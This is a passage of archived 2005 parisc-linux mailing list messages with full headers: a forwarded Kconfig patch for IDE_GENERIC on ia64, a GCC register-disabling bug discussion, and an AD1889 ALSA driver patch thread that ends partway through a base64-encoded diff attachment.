	Thu, 11 Aug 2005 14:28:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01311-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 14:28:16 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 3A7EC7D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 14:28:16 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 8A2E917050
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 16:28:15 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28796-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 16:28:04 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 9D4AD1707B; Thu, 11 Aug 2005 16:28:04 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1320464079-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123792034-0359758687446-v4.0.10
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vtGJYldBeSEker6WZHQhaXN1IGRvbwDz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23040

Looks like a good idea for us too.

Cheers,
	Kyle

----- Forwarded message from Bjorn Helgaas <bjorn.helgaas@hp.com> -----

Sender: linux-ia64-owner@vger.kernel.org
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Subject: [PATCH] IDE: don't offer IDE_GENERIC on ia64
Date:	Thu, 11 Aug 2005 14:24:43 -0600

IA64 boxes only have PCI IDE devices, so there's no need to blindly poke
around in I/O port space.  Poking at things that don't exist causes MCAs
on HP ia64 systems.

Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Index: work-vga/drivers/ide/Kconfig
===================================================================
--- work-vga.orig/drivers/ide/Kconfig	2005-08-10 14:57:47.000000000 -0600
+++ work-vga/drivers/ide/Kconfig	2005-08-10 14:58:02.000000000 -0600
@@ -276,6 +276,7 @@
 
 config IDE_GENERIC
 	tristate "generic/default IDE chipset support"
+	depends on !IA64
 	default y
 	help
 	  If unsure, say Y.

----- End forwarded message -----

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC not disabling the use fr31 even with
	-mdisable-fpregs.
Date: Sun, 7 Aug 2005 19:35:08 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <20050807233503.GE9703@systemhalted.org>
References: <20050807193949.GA9703@systemhalted.org>
	<200508072014.j77KEaHm028909@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623887 16048 80.91.229.3 (22 Nov 2014 02:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Aug 2005 23:35:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 08 Aug 2005 01:35:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096987D6C8;
	Sun,  7 Aug 2005 17:35:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01050-07; Sun, 7 Aug 2005 17:35:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03BFA7D6C9;
	Sun,  7 Aug 2005 17:35:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CEED7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 17:35:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01050-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 17:35:18 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 741B87D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 17:35:18 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1E1ufd-0000Pf-00; Sun, 07 Aug 2005 19:35:09 -0400
Content-Disposition: inline
In-Reply-To: <200508072014.j77KEaHm028909@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lf+EYpsSeSEkTr6WZHQhaXN1IGRvb4Di
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23041

On Sun, Aug 07, 2005 at 04:14:36PM -0400, John David Anglin wrote:
> If you look at the register names and numbers, you will see that
> GCC doesn't deal with the right half of the fpregs in 64-bit mode,
> thus it wouldn't save and restore the right half of an fpreg.  There's
> only one place that I know of where there would be a reference to
> the right half of a floating point register and that's in a xmpyu.
> However, this only appears in the final code generation.

Yes, I agree with you :)
 
> > There may be a bug in objdump for disassembling that particular insn. I
> > don't know how the left/right completers are encoded in the insn.
> 
> How up-to-date is objdump?  I'm not seeing a problem.  Send .o.
> 
> If you look at the arch, you will see that there are 6 bits for
> specifying fpregs in instructions like fldw and xmpyu that can access
> either half.

.o file can be found at:
www.baldric.uwo.ca/~carlos/sched.o

carlos@firin:~/fsrc/linux-2.6-exp/linux-2.6$ hppa64-linux-gnu-objdump -d
kernel/sched.o | grep fr31R
     600:       5c df 00 9a     fldw 4c(r6),fr31R
    29d8:       5c df 24 8a     fldw 1244(r6),fr31R
    29fc:       5c df 24 8a     fldw 1244(r6),fr31R
    2a50:       5c df 24 8a     fldw 1244(r6),fr31R
    2a74:       5c df 24 8a     fldw 1244(r6),fr31R
  4c:   5f 5f 00 22     fldw 10(r26),fr31R
 130:   5c 3f 00 9a     fldw 4c(r1),fr31R
carlos@firin:~/fsrc/linux-2.6-exp/linux-2.6$ 

I think that objdump should not produce fr31R if it's dumping 2.0w code.

> > What is of real concern is the save/restore of fr31, when the compiler
> > has been told to disable floating point registers.
> 
> There's a bug there:
> 
> #define CONDITIONAL_REGISTER_USAGE \
> {                                               \
>   int i;                                        \
>   if (TARGET_DISABLE_FPREGS || TARGET_SOFT_FLOAT)\
>     {                                           \
>       for (i = FP_REG_FIRST; i < FP_REG_LAST; i++)\
> 	fixed_regs[i] = call_used_regs[i] = 1;  \
>     }                                           \
> 
> It looks like the '<' should be '<=".  It's not disabling the last
> fpreg.

Aha! Zat is ze bug! :)

CC'ing the list for the sake of posterity.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Thu, 11 Aug 2005 22:14:23 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20050812021423.GB14400__25104.6802419753$1416623887$gmane$org@roadwarrior.mcmartin.ca>
References: <Pine.HPX.4.33n.0508041503020.11474-100000@studcom.urz.uni-halle.de>
	<Pine.HPX.4.33n.0508111716090.21860-100000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623887 16052 80.91.229.3 (22 Nov 2014 02:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:07 +0000 (UTC)
Cc: kyle@parisc-linux.org,
 alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Clemens Ladisch <clemens@ladisch.de>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 02:20:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 12 Aug 2005 04:20:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A0107D65B;
	Thu, 11 Aug 2005 20:20:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02720-04; Thu, 11 Aug 2005 20:20:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E35807D65C;
	Thu, 11 Aug 2005 20:20:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 690E27D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 20:20:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02435-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 20:20:13 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id D18C17D659
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 20:20:13 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A5E4C17050;
	Thu, 11 Aug 2005 22:20:12 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32029-01; Thu, 11 Aug 2005 22:20:00 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D62141707B; Thu, 11 Aug 2005 22:19:59 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1511856659-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123813150-0298645836051-v4.0.10
Content-Disposition: inline
In-Reply-To: <Pine.HPX.4.33n.0508111716090.21860-100000@studcom.urz.uni-halle.de>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MGKOYm0zeSEkSL6WZHQhaXN1IGRvb0A7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23042

On Thu, Aug 11, 2005 at 05:18:31PM +0200, Clemens Ladisch wrote:
> > This would make the interrupt handler much simpler, as it wouldn't
> > have to reprogram any registers.  And it would solve the problem that
> > the DMA accesses for one period go beyond the buffer when the number
> > of periods per buffer is not an integer.
> 
> ... something like this (please test):
> 

This doesn't apply against PA-RISC Linux CVS head (should have
no changes since submission) nor against ALSA CVS head... care to try
again? I don't have time to clean up the patch right now, it would
have to wait a week or so.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Fri, 12 Aug 2005 09:17:47 +0200 (METDST)
Lines: 305
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.33n.0508120911590.10052-200000__45401.8013588668$1416623887$gmane$org@studcom.urz.uni-halle.de>
References: <20050812021423.GB14400@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="2015913978-851401618-1123831067=:10052"
X-Trace: ger.gmane.org 1416623887 16055 80.91.229.3 (22 Nov 2014 02:38:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:07 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 07:18:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 12 Aug 2005 09:18:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD6D97D661;
	Fri, 12 Aug 2005 01:17:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04212-07; Fri, 12 Aug 2005 01:17:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1D5F7D662;
	Fri, 12 Aug 2005 01:17:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7688F7D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 01:17:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04219-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 01:17:51 -0600 (MDT)
Original-Received: from mailgate.uni-halle.de (mailgate.urz.uni-halle.de [141.48.3.51])
	by free.linux.hp.com (Postfix) with ESMTP id 6EDF97D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 01:17:51 -0600 (MDT)
Original-Received: from studcom.urz.uni-halle.de ([141.48.3.19])
	by mailgate.uni-halle.de with esmtp  (Exim 4.52)
	id 1E3TnZ-0006EE-Qh ; Fri, 12 Aug 2005 09:17:50 +0200
Original-Received: from localhost (aezr4@localhost)
	by studcom.urz.uni-halle.de (8.9.3 (PHNE_28760_binary)/8.9.3) with
	ESMTP id JAA10312; Fri, 12 Aug 2005 09:17:47 +0200 (METDST)
X-Authentication-Warning: studcom.urz.uni-halle.de: aezr4 owned process doing
	-bs
In-Reply-To: <20050812021423.GB14400@roadwarrior.mcmartin.ca>
X-Scan-Signature: c122d43bef04207ce70fc455c3995ec5
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fiiOYigHeSEkN76WZHQhaXN1IGRvbwA1
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23043

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--2015913978-851401618-1123831067=:10052
Content-Type: TEXT/PLAIN; charset=US-ASCII

Kyle McMartin wrote:
> On Thu, Aug 11, 2005 at 05:18:31PM +0200, Clemens Ladisch wrote:
> > ... something like this (please test):
>
> This doesn't apply against PA-RISC Linux CVS head (should have
> no changes since submission) nor against ALSA CVS head...

It should apply against both, but it seems somewhere some whitespaces
got lost ...

Here you go again.


Regards,
Clemens

--2015913978-851401618-1123831067=:10052
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ad1889-buffer.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.HPX.4.33n.0508120917470.10052@studcom.urz.uni-halle.de>
Content-Description: 
Content-Disposition: attachment; filename="ad1889-buffer.diff"

SW5kZXg6IGFsc2EvYWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5oDQo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09DQotLS0gYWxzYS5vcmlnL2Fsc2EtZHJpdmVyL3Bj
aS9hZDE4ODkuaAkyMDA1LTA4LTA0IDE3OjU2OjUwLjAwMDAwMDAwMCArMDIw
MA0KKysrIGFsc2EvYWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5oCTIwMDUtMDgt
MTEgMTE6NTQ6MzguMDAwMDAwMDAwICswMjAwDQpAQCAtMTcyLDEzICsxNzIs
NiBAQA0KICNkZWZpbmUgQURfQURDX1NUQVRFCTENCiAjZGVmaW5lIEFEX01B
WF9TVEFURVMJMg0KIA0KLS8qICI8Z2dnPiBULUJvbmU6IHBhcmlzYyBJT01N
VSBjYW4gc3RhcnQgRE1BIGF0IGFueSBhZGRyZXNzLg0KLSAgIEJ1dCB0aGUg
SU9NTVUgY2FuIG9ubHkgbWFwIGF0IHBhZ2Ugc2l6ZSBncmFudWxhcml0eS4i
DQotICAgVGhpcyBhZmZlY3RzIGluIHBhcnRpY3VsYXIgLnBlcmlvZF9ieXRl
c19taW4gKi8NCi0jZGVmaW5lIEJVRl9TSVpFICAgICAgICBQQUdFX1NJWkUN
Ci0jZGVmaW5lIE1BWF9CVUZTICAgICAgICAzMg0KLSNkZWZpbmUgRE1BX1NJ
WkUJKE1BWF9CVUZTKkJVRl9TSVpFKQ0KLQ0KICNkZWZpbmUgQURfQ0hBTl9X
QVYJMHgwMDAxDQogI2RlZmluZSBBRF9DSEFOX0FEQwkweDAwMDINCiAjZGVm
aW5lIEFEX0NIQU5fUkVTCTB4MDAwNA0KSW5kZXg6IGFsc2EvYWxzYS1kcml2
ZXIvcGNpL2FkMTg4OS5jDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQotLS0g
YWxzYS5vcmlnL2Fsc2EtZHJpdmVyL3BjaS9hZDE4ODkuYwkyMDA1LTA4LTEx
IDEwOjQ2OjQyLjAwMDAwMDAwMCArMDIwMA0KKysrIGFsc2EvYWxzYS1kcml2
ZXIvcGNpL2FkMTg4OS5jCTIwMDUtMDgtMTEgMTI6MjE6MjEuMDAwMDAwMDAw
ICswMjAwDQpAQCAtODcsMTUgKzg3LDExIEBAIE1PRFVMRV9QQVJNX0RFU0Mo
YWM5N19xdWlyaywgIkFDJzk3IHdvcmsNCiAvKiBsZXQncyB1c2UgdGhlIGds
b2JhbCBzb3VuZCBkZWJ1ZyBpbnRlcmZhY2VzICovDQogI2RlZmluZSBhZDE4
ODlfZGVidWcoZm10LCBhcmcuLi4pIHNuZF9wcmludGQoS0VSTl9ERUJVRyBm
bXQsICMjIGFyZykNCiANCi0vKiBrZWVwIHRyYWNrIG9mIGVhY2ggaHcgcmVn
aXN0ZXIgKi8NCisvKiBrZWVwIHRyYWNrIG9mIHNvbWUgaHcgcmVnaXN0ZXJz
ICovDQogc3RydWN0IGFkMTg4OV9yZWdpc3Rlcl9zdGF0ZSB7DQogCXUxNiBy
ZWc7CS8qIHJlZyBzZXR1cCAqLw0KIAl1MzIgYWRkcjsJLyogZG1hIGJhc2Ug
YWRkcmVzcyAqLw0KLQl1MTYgcmF0ZTsJLyogc2FtcGxlIHJhdGUgKi8NCi0J
dW5zaWduZWQgbG9uZyBwb3M7CS8qIGxhc3QgcmVjb3JkZWQgRE1BIGJ1ZmZl
ciBwb3NpdGlvbiAqLw0KLQl1bnNpZ25lZCBsb25nIGJ1ZjsJLyogcGVyaW9k
ICMgKi8NCiAJdW5zaWduZWQgbG9uZyBzaXplOwkvKiBETUEgYnVmZmVyIHNp
emUgKi8NCi0JdW5zaWduZWQgbG9uZyBjb3VudDsJLyogcGVyaW9kIHNpemUs
IGFrYSBuYiBieXRlcyBzZW50IGluIHRoZSBjdXJyZW50IERNQSB0cmFuc2Zl
ciAqLw0KIH07DQogDQogc3RydWN0IHNuZF9hZDE4ODkgew0KQEAgLTExOCwx
MyArMTE0LDYgQEAgc3RydWN0IHNuZF9hZDE4ODkgew0KIAlzdHJ1Y3QgYWQx
ODg5X3JlZ2lzdGVyX3N0YXRlIHdhdmU7DQogCXN0cnVjdCBhZDE4ODlfcmVn
aXN0ZXJfc3RhdGUgcmFtYzsNCiANCi0Jc3RydWN0IHsNCi0JCXVuc2lnbmVk
IGxvbmcgd2F2X2ludHI7DQotCQl1bnNpZ25lZCBsb25nIGFkY19pbnRyOw0K
LQkJdW5zaWduZWQgbG9uZyBzeW5faW50cjsNCi0JCXVuc2lnbmVkIGxvbmcg
cmVzX2ludHI7DQotCX0gc3RhdHM7DQotDQogCXNwaW5sb2NrX3QgbG9jazsN
CiB9Ow0KIA0KQEAgLTE3MiwyMiArMTYxLDQ2IEBAIGFkMTg4OV9tdXRlKHN0
cnVjdCBzbmRfYWQxODg5ICpjaGlwKQ0KIH0NCiANCiBzdGF0aWMgaW5saW5l
IHZvaWQNCi1hZDE4ODlfbG9hZF9hZGNfY291bnQoc3RydWN0IHNuZF9hZDE4
ODkgKmNoaXAsIHUzMiBjb3VudCkNCithZDE4ODlfbG9hZF9hZGNfYnVmZmVy
X2FkZHJlc3Moc3RydWN0IHNuZF9hZDE4ODkgKmNoaXAsIHUzMiBhZGRyZXNz
KQ0KK3sNCisJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQkEsIGFk
ZHJlc3MpOw0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9BRENDQSwg
YWRkcmVzcyk7DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgdm9pZA0KK2FkMTg4
OV9sb2FkX2FkY19idWZmZXJfY291bnQoc3RydWN0IHNuZF9hZDE4ODkgKmNo
aXAsIHUzMiBjb3VudCkNCiB7DQogCWFkMTg4OV93cml0ZWwoY2hpcCwgQURf
RE1BX0FEQ0JDLCBjb3VudCk7DQogCWFkMTg4OV93cml0ZWwoY2hpcCwgQURf
RE1BX0FEQ0NDLCBjb3VudCk7DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgdm9p
ZA0KK2FkMTg4OV9sb2FkX2FkY19pbnRlcnJ1cHRfY291bnQoc3RydWN0IHNu
ZF9hZDE4ODkgKmNoaXAsIHUzMiBjb3VudCkNCit7DQogCWFkMTg4OV93cml0
ZWwoY2hpcCwgQURfRE1BX0FEQ0lCLCBjb3VudCk7DQogCWFkMTg4OV93cml0
ZWwoY2hpcCwgQURfRE1BX0FEQ0lDLCBjb3VudCk7DQotfQkNCit9DQorDQor
